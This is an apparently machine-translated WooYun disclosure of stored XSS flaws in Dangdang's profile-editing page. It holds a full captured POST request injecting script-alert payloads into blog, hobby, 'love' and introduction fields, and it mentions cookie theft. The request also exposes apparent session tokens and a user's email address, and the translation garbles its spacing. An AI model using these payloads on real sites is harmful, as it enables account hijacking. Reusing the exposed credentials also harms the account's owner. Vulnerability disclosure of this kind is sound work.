Dangdang multiple storage-type XSS vulnerabilities and repair

Vulnerability title: Dangdang multiple storage XSS vulnerabilities
Related vendors: Dangdang
Vulnerability Author: riusksk
Submission time:
Public Date:
Vulnerability Type: Cross-Site Scripting
Hazard level: Medium
Vulnerability status: unable to contact the vendor or vendor to ignore the vulnerability.
Vulnerability Source: http://www.wooyun.org
Vulnerability details
Brief description:

Dangdang has multiple storage-type XSS vulnerabilities
Detailed description:

Five XSS vulnerabilities exist in Dangdang's personal archive editing. The first four vulnerabilities appear in blog addresses, hobbies, people who like or appreciate, and self-introductions, the <script> alert (/1/) </script> statement written to an XSS instance can be executed, and the other statement appears in the nickname. Due to length restrictions, therefore, you can construct a POST form locally to submit </title> <script> alert (/1/) </script> and execute the js script to steal user cookies and counterfeit user logon.

Proof of vulnerability:

Host = customer.dangdang.com
User-Agent = Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv: 1.9.2.8) Gecko/20100722 (BT-beachlife) Firefox/3.6.8
Accept = text/html, application/xhtml
+ Xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language = zh-cn, zh; q = 0.5
Accept-Encoding = gzip, deflate
Accept-Charset = GB2312, UTF-8; q = 0.7, *; q = 0.7
Keep-Alive = 115
Connection = keep-alive
Referer = http://customer.dangdang.com/profile/Myarchives.php? Save = OK
Cookie =__ permanent_id = 20100203235038955135819263359204968; _ new_p_id = 1; _ ozlvd = 1282408219; producthistoryname = Windows % C4 % DA % BA % CB % CA % B5 % D1 % E9 % BD % CC % B3 % CC % 28% B8 % BD % B9 % E2 % C5 % CC
% 29% 2 CWeb + % B0 % B2 % C8 % AB % B2 % E2 % CA % D4 % 2 CWeb % C8 % EB % C7 % D6 % B0 % B2 % C8 % AB % B2 % E2 % CA % D4 % D3 % EB % B6 % D4 % B2 % DF % A3 % A8 % B8 % BDCD-ROM % B9 % E2 % C5 % CC % D2 % BB % D5 % C5 % A3 % A9 % 2 CSQL % D7 % A2 % C8 % EB % B9 % A5 % BB % F7 % D3 % EB
% B7 % C0 % D3 % F9 % A3 % A8 % B0 % B2 % C8 % AB % BC % CA % F5 % BE % AD % B5 % E4 % D2 % EB % B4 % D4 % A3 % A9 % 2 CPHP % BA % CDMySQL + Web % BF % AA % B7 % A2 + % A3 % A8 % D4 % AD % CA % E9 % B5 % DA4 % B0 % E6 % A3 % A9 % 2 CWEB % B0 % B2 % C8 % AB % CA % D6 % B2 % E1 % 2C
% BB % D2 % C3 % B1 % B9 % A5 % BB % F7 % B0 % B2 % C8 % AB % CA % D6 % B2 % E1 % A1 % AA % A1 % AA % C9 % F8 % CD % B8 % B2 % E2 % CA % D4 % D3 % EB % C2 % A9 % B6 % B4 % B7 % D6 % CE % F6 % BC % CA % F5 % 2C % BA % DA % BF % CD % B9 % A5 % B7 % C0 % BC % CA
% F5 % B1 % A6 % B5 % E4 % 3A + Web % CA % B5 % D5 % BD % C6 % AA % 2C % CD % F8 % C2 % E7 % C9 % F8 % CD % B8 % B2 % E2 % CA % D4 % A3 % AD % B1 % A3 % BB % A4 % CD % F8 % C2 % E7 % B0 % B2 % C8 % AB % B5 % C4 % BC % CA % F5 % A1 % A2 % B9 % A4 % BE % DF % BA % CD % B9 % FD % B3 % CC % 2C
% CD % F8 % C2 % E7 % B0 % B2 % C8 % AB % C6 % C0 % B9 % C0 % A3 % A8 % B5 % DA % B6 % FE % B0 % E6 % A3 % A9;
Producthistoryid = 683764% 2C20810140% 2C9222047% pushed % 2C9150871% 2c9242693% 2C20653653% 2C20080185% pushed; validatedflag = 0; cart_id = 1005102129448895;
_ Utma = Beijing; _ utmz = 263274265.1282284535.9.4.utmcsr = product.dangdang.com | utmccn = (referral) | utmcmd = referral | utmcct =/product. aspx;
HK = web % 25B0% 25B2% 25C8% 25AB % 25B2% 25E2% 25CA % 25D4% 3B % 25B0% 25B2% 25C8% 25AB % 25C2% 25A9% 25B6% 25B4% 25D7% 25B7% 25D7% 25D9% 3 BWEB % 25B0% 25B2% 25C8% 25AB % 25B2% 25E2% 25CA % 25D4% 3 Bsql
% 25D7% 25A2% 25C8% 25EB % 3 BWeb % 25C8% 25EB % 25C7% 25D6% 3B % 25C9% 25F8% 25CD % 25B8% 3B % 25C9% 25F8% 25CD % 25B8% 25B2% 25E2% 25CA % 25D4% 3 BWEB % 25C9% 25F8% 25CD % 25B8% 25B2% 25E2% 25CA % 25D4% 3 BWEB
% 25B0% 25B2% 25C8% 25AB; from = 488-133054; cart_db_index = 3; cart_items_count = 0; ck_db_index = 3; is_new = 1; _ trace_id = 20100822000612281259688254741795619; agree_date = 1;
Login.dangdang.com =. AYH = 100822001255147579 &. ASPXAUTH = I3swGtBNKlIZFcNLIaO4tWX30HRxb + KI; LD = raSYRlzfovLiO635sEBP0drFJ8zWhCcs;
Dangdang.com = email = NzczMDgxODc4QHFxLmNvbQ ==& nickname = & display_id = 5533648947491 & customerid =

UGQo9p1MXgQ4TwpLZdhuKw ==& viptype = 4 + AtZiSmtFY = & show_name =
% U0037 % u0037 % u0033 % u0030 % u0038 % u0031 % u0038 % u0037 % u0038; email = 773081878% 40qq.com; nickname =
Content-Type = multipart/form-data; boundary = --------------------------- 97891525516423
Content-Length = 2559
POSTDATA = ------------------------------- 97891525516423
Content-Disposition: form-data; name = "hd_value"
3
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Myfile"; filename = ""
Content-Type: application/octet-stream
----------------------------- 97891525516423
Content-Disposition: form-data; name = "hid_opt"
----------------------------- 97891525516423
Content-Disposition: form-data; name = "v_date"
27019229
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Txt_petname"
P3h4ck
----------------------------- 97891525516423
Content-Disposition: form-data; name = "area_clientID"
Ctl04
----------------------------- 97891525516423
Content-Disposition: form-data; name = "ctl04 $ s1"
1
----------------------------- 97891525516423
Content-Disposition: form-data; name = "ctl04 $ s2"
116
----------------------------- 97891525516423
Content-Disposition: form-data; name = "hd_area"
188
----------------------------- 97891525516423
Content-Disposition: form-data; name = "hd_area_parent"
116
----------------------------- 97891525516423
Content-Disposition: form-data; name = "gp_sex"
Rd_sex_1
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Rd_sexis"
0
----------------------------- 97891525516423
Content-Disposition: form-data; name = "gp_standing"
Student
----------------------------- 97891525516423
Content-Disposition: form-data; name = "defaultValue"
*
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Rd_standingis"
0
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Dp_year"
0
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Dp_month"
0
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Dp_day"
0
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Txt_blog"
<Script> alert (/1/) </script>
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Txt_interesting"
<Script> alert (/2/) </script>
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Txt_love"
<Script> alert (/3/) </script>
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Txt_introduce"
<Script> alert (/4/) </script>
----------------------------- 97891525516423
Content-Disposition: form-data; name = "Button1"
*
--------------------------- 97891525516423 --

Solution:

Filter cross-site keywords